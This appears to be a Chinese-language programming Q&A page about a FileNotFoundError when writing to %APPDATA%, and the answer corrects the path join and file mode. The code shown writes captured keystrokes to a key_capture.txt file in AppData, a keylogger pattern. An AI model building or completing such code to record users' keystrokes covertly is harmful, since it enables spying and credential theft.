如何在 %APPDATA% 文件夹中写入文件



我正在尝试在%appdata%中写入文件,但是当我运行代码时,我收到此错误:

    with open(os.path.join(key_dir+ "\key_capture.txt")) as f:
FileNotFoundError: [Errno 2] No such file or directory: 'C:\Users\George Mauricio\AppData\Local\key_capture.txt'

这是我使用的代码:


from os import path
#there are some in between
def write_file(keys):
    with open(os.path.join(key_dir+ "\key_capture.txt")) as f:
        for key in keys:
            k = str(key).replace("'","")
            Key.space
            if k.find("space") > 0:
                f.write('n')
            elif k.find("Key") == -1:
                f.write(k)

1(.您以错误的方式打开文件。
2(.正确的方法如下。

with open(os.path.join(key_dir,  "key_capture.txt")) as f:

只需在"a"模式下打开它。如果文件不存在,则创建该文件。

使用with open(os.path.join(key_dir, "key_capture.txt"),'a') as f:而不是open(os.path.join(key_dir, "key_capture.txt")) as f:

相关内容

  • 没有找到相关文章

最新更新